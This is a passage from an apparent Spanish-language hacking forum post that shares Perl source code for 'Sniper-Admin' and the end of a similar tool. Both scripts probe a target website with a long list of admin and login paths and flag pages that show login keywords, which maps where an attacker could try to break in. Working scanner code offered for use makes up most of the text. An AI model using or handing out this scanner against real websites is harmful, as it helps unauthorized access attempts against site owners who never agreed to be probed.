$response->content =~ /USERNAME/ ||
$response->content =~ /PASSWORD/ ||
$response->content =~ /Senha/ ||
$response->content =~ /senha/ ||
$response->content =~ /Personal/ ||
$response->content =~ /Usuario/ ||
$response->content =~ /Clave/ ||
$response->content =~ /Usager/ ||
$response->content =~ /usager/ ||
$response->content =~ /Sing/ ||
$response->content =~ /passe/ ||
$response->content =~ /P\/W/ ||
$response->content =~ /Admin Password/
){
print " \n [+] Found -> $final\n\n";
}else{
print "[-] Not Found <- $final\n";
}
}
kill("STOP",NULL);
}

##
# By GlaDiaT0R
##


Fuente: LatinoHack
#60
Bugs y Exploits / Sniper-Admin by Guason
Febrero 24, 2010, 03:11:23 PM
Código: php
#Name program = Sniper-Admin
#Version = beta
#Funcion = Buscar panel de admin
#Autor = Guason

use LWP::Simple;
use LWP::UserAgent;

@path = ("admin1.html","admin1.php","admin2.php","admin2.html","yonetim.php","yonetim.html",
"yonetici.php","yonetici.html","adm/","admin/",
"admin/account.php","admin/account.html","admin/index.php","admin/index.html","admin/login.php",
"admin/login.html","admin/home.php","admin/controlpanel.html","admin/controlpanel.php","admin.php",
"admin.html","admin/cp.php","admin/cp.html","cp.php","cp.html","administrator/","administrator/index.html",
"administrator/index.php","administrator/login.html","administrator/login.php","administrator/account.html",
"administrator/account.php","administrator.php","administrator.html","login.php","login.html",
"modelsearch/login.php","moderator.php","moderator.html","moderator/login.php","moderator/login.html",
"moderator/admin.php","moderator/admin.html","moderator/","account.php","account.html","controlpanel/",
"controlpanel.php","controlpanel.html","admincontrol.php","admincontrol.html","adminpanel.php",
"adminpanel.html","admin1.asp","admin2.asp","yonetim.asp","yonetici.asp","admin/account.asp",
"admin/index.asp","admin/login.asp","admin/home.asp","admin/controlpanel.asp","admin.asp","admin/cp.asp",
"cp.asp","administrator/index.asp","administrator/login.asp","administrator/account.asp","administrator.asp",
"login.asp","modelsearch/login.asp","moderator.asp","moderator/login.asp","moderator/admin.asp","account.asp",
"controlpanel.asp","admincontrol.asp","adminpanel.asp","fileadmin/","fileadmin.php","fileadmin.asp",
"fileadmin.html","administration/","administration.php","administration.html","sysadmin.php","sysadmin.html",
"phpmyadmin/","myadmin/","sysadmin.asp","sysadmin/","ur-admin.asp","ur-admin.php","ur-admin.html","ur-admin/",
"Server.php","Server.html","Server.asp","Server/","wp-admin/","administr8.php","administr8.html",
"administr8/","administr8.asp","webadmin/","webadmin.php","webadmin.asp","webadmin.html","administratie/",
"admins/","admins.php","admins.asp","admins.html","administrivia/","Database_Administration/","WebAdmin/",
"useradmin/","sysadmins/","admin1/","system-administration/","administrators/","pgadmin/","directadmin/",
"staradmin/","ServerAdministrator/","SysAdmin/","administer/","LiveUser_Admin/","sys-admin/","typo3/",
"panel/","cpanel/","cPanel/","cpanel_file/","platz_login/","rcLogin/","blogindex/",
"formslogin/","autologin/","support_login/","meta_login/","manuallogin/","simpleLogin/",
"loginflat/","utility_login/","showlogin/","memlogin/","members/","login-redirect/","sub-login/",
"wp-login/","login1/","dir-login/","login_db/","xlogin/","smblogin/","customer_login/","UserLogin/",
"login-us/","acct_login/","admin_area/","bigadmin/","project-admins/","phppgadmin/","pureadmin/",
"sql-admin/","radmind/","openvpnadmin/","wizmysqladmin/","vadmind/","ezsqliteadmin/",
"hpwebjetadmin/","newsadmin/","adminpro/","Lotus_Domino_Admin/","bbadmin/","vmailadmin/",
"Indy_admin/","ccp14admin/","irc-macadmin/","banneradmin/","sshadmin/","phpldapadmin/","macadmin/",
"administratoraccounts/","admin4_account/","admin4_colon/","radmind-1/","Super-Admin/","AdminTools/",
"cmsadmin/","SysAdmin2/","globes_admin/","cadmins/","phpSQLiteAdmin/","navSiteAdmin/","server_admin_small/",
"logo_sysadmin/","server/","database_administration/","power_user/","system_administration/","ss_vms_admin_sm/");


my $web = $ARGV[0];

unless ($ARGV[0]) {
print "\n\n\t\t\tSniper-Admin by Guason\t\t\t\n\n";
print "\nModo de uso perl $0 <WEB>\n\n";
print "<WEB> = Web solamente ejemplo = http://www.petardas.com/\n\n";
exit 1;
}


logo();

print "\n\n";
print "Buscando paths en $web\n\n\n";
foreach $paths(@path) {

$junto = $web.$paths;

$lwp = LWP::UserAgent->new();
$code = $lwp -> get($junto);


if($code->content =~ /Username/ ||
$code->content =~ /Password/ ||
$code->content =~ /username/ ||
$code->content =~ /password/ ||
$code->content =~ /USERNAME/ ||
$code->content =~ /PASSWORD/ ||
$code->content =~ /Senha/ ||
$code->content =~ /senha/ ||
$code->content =~ /Personal/ ||
$code->content =~ /Usuario/ ||
$code->content =~ /Clave/ ||
$code->content =~ /Usager/ ||
$code->content =~ /usager/ ||
$code->content =~ /Sing/ ||
$code->content =~ /passe/ ||
$code->content =~ /P\/W/ ||
$code->content =~ /Admin Password/

) {
print "Se encontro $path\n";
}

}
print "\n\n\n\nScan Finalizado\n\n";
print "\n\nWritten by Guason || 2009\n\n";
print "Visita infierno-hacking.webcindario.com &  guason-cracker.blogspot.com\n\n";
exit 1;


sub logo {
print "\n\t\t\tSniper-Admin Version 0.1 || Written by Guason\t\t\t\n";
}


#Agradecimientos = none =0
#Email = [email protected]
#Web = infierno-hacking.webcindario.com
#Blog = guason-cracker.blogspot.com
#Good Bye

Use:
Citarperl No tienes permitido ver los links. Registrarse o Entrar a mi cuenta No tienes permitido ver los links. Registrarse o Entrar a mi cuenta